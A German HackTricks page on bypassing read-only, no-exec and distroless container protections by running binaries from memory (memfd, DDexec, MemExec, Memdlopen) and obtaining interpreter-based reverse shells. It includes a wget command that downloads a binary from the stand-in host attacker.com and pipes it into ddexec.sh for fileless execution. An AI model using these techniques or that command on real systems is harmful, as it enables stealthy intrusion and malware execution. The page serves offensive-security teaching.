| .. | ||
| ddexec.md | ||
| README.md | ||
Umgehen von FS-Schutzmaßnahmen: Nur-Lesen / Keine-Ausführung / Distroless
Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichen.
Wenn Sie an einer Hacking-Karriere interessiert sind und das Unhackbare hacken möchten - wir stellen ein! (fließendes Polnisch in Wort und Schrift erforderlich).
{% embed url="https://www.stmcyber.com/careers" %}
Videos
In den folgenden Videos finden Sie die auf dieser Seite erwähnten Techniken ausführlicher erläutert:
- DEF CON 31 - Erkundung der Linux-Speicher-Manipulation für Stealth und Evasion
- Stealth-Eindringungen mit DDexec-ng & in-memory dlopen() - HackTricks Track 2023
Nur-Lesen / Keine-Ausführung-Szenario
Es wird immer häufiger, dass Linux-Maschinen mit Schutzmaßnahmen für eine nur-Lese (ro) Dateisystem montiert sind, insbesondere in Containern. Dies liegt daran, dass das Ausführen eines Containers mit einem ro-Dateisystem so einfach ist wie das Festlegen von readOnlyRootFilesystem: true im securitycontext:
apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
readOnlyRootFilesystem: true
command: ["sh", "-c", "while true; do sleep 1000; done"]
Auch wenn das Dateisystem als ro eingebunden ist, wird /dev/shm dennoch beschreibbar sein, sodass wir nichts auf die Festplatte schreiben können. Dieser Ordner wird jedoch mit Keine-Ausführung-Schutzmaßnahmen eingebunden, sodass Sie, wenn Sie hier eine Binärdatei herunterladen, diese nicht ausführen können.
{% hint style="warning" %}
Aus der Sicht eines Red Teams wird es dadurch kompliziert, Binärdateien herunterzuladen und auszuführen, die nicht bereits im System vorhanden sind (wie Backdoors oder Enumeratoren wie kubectl).
{% endhint %}
Einfachster Umgehungsweg: Skripte
Beachten Sie, dass ich von Binärdateien gesprochen habe, Sie können jedes Skript ausführen, solange der Interpreter innerhalb der Maschine vorhanden ist, wie ein Shell-Skript, wenn sh vorhanden ist, oder ein Python-Skript, wenn python installiert ist.
Dies reicht jedoch nicht aus, um Ihre Binärdatei-Backdoor oder andere Binärwerkzeuge auszuführen, die Sie möglicherweise ausführen müssen.
Speicherumgehungen
Wenn Sie eine Binärdatei ausführen möchten, das Dateisystem dies jedoch nicht zulässt, ist der beste Weg, dies zu tun, indem Sie es aus dem Speicher heraus ausführen, da die Schutzmaßnahmen dort nicht gelten.
FD + exec-Systemaufruf-Umgehung
Wenn Sie leistungsstarke Skript-Engines innerhalb der Maschine haben, wie Python, Perl oder Ruby, könnten Sie die Binärdatei zum Ausführen aus dem Speicher herunterladen, sie in einem Speicherdateideskript speichern (create_memfd-Systemaufruf), das nicht durch diese Schutzmaßnahmen geschützt wird, und dann einen exec-Systemaufruf aufrufen, wobei der fd als auszuführende Datei angegeben wird.
Hierfür können Sie das Projekt fileless-elf-exec verwenden. Sie können ihm eine Binärdatei übergeben, und es wird ein Skript in der angegebenen Sprache mit der Binärdatei komprimiert und b64-codiert generieren, zusammen mit den Anweisungen zum Dekodieren und Dekomprimieren in einem durch create_memfd-Systemaufruf erstellten fd und einem Aufruf des exec-Systemaufrufs zum Ausführen.
{% hint style="warning" %}
Dies funktioniert nicht in anderen Skriptsprachen wie PHP oder Node, da sie keine Standardmethode zum Aufrufen von Rohsystemaufrufen aus einem Skript haben. Daher ist es nicht möglich, create_memfd aufzurufen, um den Speicher-FD zum Speichern der Binärdatei zu erstellen.
Darüber hinaus wird das Erstellen eines regulären FD mit einer Datei in /dev/shm nicht funktionieren, da Sie es nicht ausführen dürfen, da der Keine-Ausführung-Schutz angewendet wird.
{% endhint %}
DDexec / EverythingExec
DDexec / EverythingExec ist eine Technik, die es Ihnen ermöglicht, den Speicher Ihres eigenen Prozesses zu modifizieren, indem Sie seinen /proc/self/mem überschreiben.
Daher können Sie, indem Sie den vom Prozess ausgeführten Assemblercode kontrollieren, ein Shellcode schreiben und den Prozess "mutieren", um beliebigen Code auszuführen.
{% hint style="success" %} DDexec / EverythingExec ermöglicht es Ihnen, Ihren eigenen Shellcode oder beliebige Binärdateien aus dem Speicher zu laden und auszuführen. {% endhint %}
# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
MemExec
Memexec ist der natürliche nächste Schritt von DDexec. Es handelt sich um einen DDexec-Shellcode-Dämon, sodass Sie jedes Mal, wenn Sie eine andere Binärdatei ausführen möchten, DDexec nicht neu starten müssen. Sie können einfach den Memexec-Shellcode über die DDexec-Technik ausführen und dann mit diesem Dämon kommunizieren, um neue Binärdateien zu übergeben, zu laden und auszuführen.
Ein Beispiel, wie Sie Memexec verwenden können, um Binärdateien von einer PHP-Reverse-Shell auszuführen, finden Sie unter https://github.com/arget13/memexec/blob/main/a.php.
Memdlopen
Mit einem ähnlichen Zweck wie DDexec ermöglicht die Memdlopen-Technik eine einfachere Möglichkeit, Binärdateien im Speicher zu laden, um sie später auszuführen. Es könnte sogar ermöglichen, Binärdateien mit Abhängigkeiten zu laden.
Distroless Bypass
Was ist Distroless
Distroless-Container enthalten nur die absolut notwendigen Komponenten, um eine bestimmte Anwendung oder einen bestimmten Dienst auszuführen, wie Bibliotheken und Laufzeitabhängigkeiten, aber schließen größere Komponenten wie einen Paketmanager, eine Shell oder Systemdienstprogramme aus.
Das Ziel von Distroless-Containern ist es, die Angriffsfläche von Containern zu verringern, indem unnötige Komponenten eliminiert und die Anzahl der ausnutzbaren Schwachstellen minimiert werden.
Reverse-Shell
In einem Distroless-Container finden Sie möglicherweise nicht einmal sh oder bash, um eine reguläre Shell zu erhalten. Sie werden auch keine Binärdateien wie ls, whoami, id finden... alles, was Sie normalerweise in einem System ausführen.
{% hint style="warning" %} Daher werden Sie keine Reverse-Shell erhalten oder das System wie gewohnt durchsuchen können. {% endhint %}
Wenn jedoch der kompromittierte Container beispielsweise ein Flask-Web ausführt, ist Python installiert, und daher können Sie eine Python-Reverse-Shell erhalten. Wenn Node ausgeführt wird, können Sie eine Node-Rev-Shell erhalten, und dasselbe gilt für fast jede Skriptsprache.
{% hint style="success" %} Mit der Skriptsprache könnten Sie das System durch die Fähigkeiten der Sprache durchsuchen. {% endhint %}
Wenn es keine read-only/no-exec-Schutzmaßnahmen gibt, könnten Sie Ihre Reverse-Shell missbrauchen, um Ihre Binärdateien im Dateisystem zu schreiben und sie auszuführen.
{% hint style="success" %} In diesen Containern werden jedoch normalerweise diese Schutzmaßnahmen existieren, aber Sie könnten die vorherigen Speicher-Ausführungstechniken verwenden, um sie zu umgehen. {% endhint %}
Sie finden Beispiele, wie Sie einige RCE-Schwachstellen ausnutzen können, um Skriptsprachen Reverse-Shells zu erhalten und Binärdateien aus dem Speicher auszuführen, unter https://github.com/carlospolop/DistrolessRCE.